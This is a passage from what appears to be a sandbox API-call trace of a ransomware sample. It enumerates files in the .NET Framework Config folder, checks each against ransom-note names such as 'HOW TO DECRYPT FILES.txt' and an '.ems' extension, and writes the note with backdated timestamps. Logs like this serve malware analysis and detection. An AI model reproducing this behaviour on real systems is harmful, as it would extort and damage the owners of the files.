(lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0137.424] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.424] CloseHandle (hObject=0x90) returned 1 [0137.424] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="DefaultWsdlHelpGenerator.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx" [0137.424] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx", pszSpec="*.ems") returned 0 [0137.425] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_hightrust.config", cAlternateFileName="LEGACY~1.CON")) returned 1 [0137.425] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_hightrust.config") returned -1 [0137.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_hightrust.config") returned -1 [0137.425] lstrcmpiA (lpString1="", lpString2="legacy.web_hightrust.config") returned -1 [0137.425] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx") returned="DefaultWsdlHelpGenerator.aspx" [0137.425] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.425] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.425] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.425] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.425] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_hightrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config" [0137.425] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config", pszSpec="*.ems") returned 0 [0137.426] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x3106, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_hightrust.config.default", cAlternateFileName="LEGACY~1.DEF")) returned 1 [0137.426] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.426] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_hightrust.config.default") returned -1 [0137.426] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_hightrust.config.default") returned -1 [0137.426] lstrcmpiA (lpString1="", lpString2="legacy.web_hightrust.config.default") returned -1 [0137.426] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config") returned="legacy.web_hightrust.config" [0137.426] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.426] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.426] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.426] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.426] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_hightrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.default" [0137.426] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.default", pszSpec="*.ems") returned 0 [0137.427] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_lowtrust.config", cAlternateFileName="LEGACY~2.CON")) returned 1 [0137.427] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.427] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_lowtrust.config") returned -1 [0137.427] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_lowtrust.config") returned -1 [0137.427] lstrcmpiA (lpString1="", lpString2="legacy.web_lowtrust.config") returned -1 [0137.427] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.default") returned="legacy.web_hightrust.config.default" [0137.427] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.427] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.427] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.427] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.427] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_lowtrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config" [0137.427] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config", pszSpec="*.ems") returned 0 [0137.427] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_lowtrust.config.default", cAlternateFileName="LEGACY~2.DEF")) returned 1 [0137.428] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_lowtrust.config.default") returned -1 [0137.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_lowtrust.config.default") returned -1 [0137.428] lstrcmpiA (lpString1="", lpString2="legacy.web_lowtrust.config.default") returned -1 [0137.428] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config") returned="legacy.web_lowtrust.config" [0137.428] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.428] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.428] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.428] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.428] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_lowtrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.default" [0137.428] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.default", pszSpec="*.ems") returned 0 [0137.429] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_mediumtrust.config", cAlternateFileName="LEGACY~3.CON")) returned 1 [0137.429] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_mediumtrust.config") returned -1 [0137.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_mediumtrust.config") returned -1 [0137.429] lstrcmpiA (lpString1="", lpString2="legacy.web_mediumtrust.config") returned -1 [0137.429] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.default") returned="legacy.web_lowtrust.config.default" [0137.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.429] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.429] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.429] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.429] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_mediumtrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config" [0137.429] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config", pszSpec="*.ems") returned 0 [0137.430] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_mediumtrust.config.default", cAlternateFileName="LEGACY~3.DEF")) returned 1 [0137.430] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.430] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_mediumtrust.config.default") returned -1 [0137.430] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_mediumtrust.config.default") returned -1 [0137.430] lstrcmpiA (lpString1="", lpString2="legacy.web_mediumtrust.config.default") returned -1 [0137.430] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config") returned="legacy.web_mediumtrust.config" [0137.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.430] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.430] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.430] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.431] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_mediumtrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.default" [0137.431] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.default", pszSpec="*.ems") returned 0 [0137.431] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_minimaltrust.config", cAlternateFileName="LEGACY~4.CON")) returned 1 [0137.431] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_minimaltrust.config") returned -1 [0137.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_minimaltrust.config") returned -1 [0137.431] lstrcmpiA (lpString1="", lpString2="legacy.web_minimaltrust.config") returned -1 [0137.431] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.default") returned="legacy.web_mediumtrust.config.default" [0137.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.431] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.431] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.431] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.432] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_minimaltrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config" [0137.432] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config", pszSpec="*.ems") returned 0 [0137.432] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="legacy.web_minimaltrust.config.default", cAlternateFileName="LEGACY~4.DEF")) returned 1 [0137.432] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.432] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legacy.web_minimaltrust.config.default") returned -1 [0137.432] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legacy.web_minimaltrust.config.default") returned -1 [0137.432] lstrcmpiA (lpString1="", lpString2="legacy.web_minimaltrust.config.default") returned -1 [0137.432] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config") returned="legacy.web_minimaltrust.config" [0137.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.432] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.432] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.432] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.433] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="legacy.web_minimaltrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.default" [0137.433] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.default", pszSpec="*.ems") returned 0 [0137.433] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="machine.config", cAlternateFileName="MACHIN~1.CON")) returned 1 [0137.433] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.433] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="machine.config") returned -1 [0137.433] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="machine.config") returned -1 [0137.433] lstrcmpiA (lpString1="", lpString2="machine.config") returned -1 [0137.433] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.default") returned="legacy.web_minimaltrust.config.default" [0137.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.433] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.434] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.434] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.434] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="machine.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" [0137.434] PathMatchSpecA 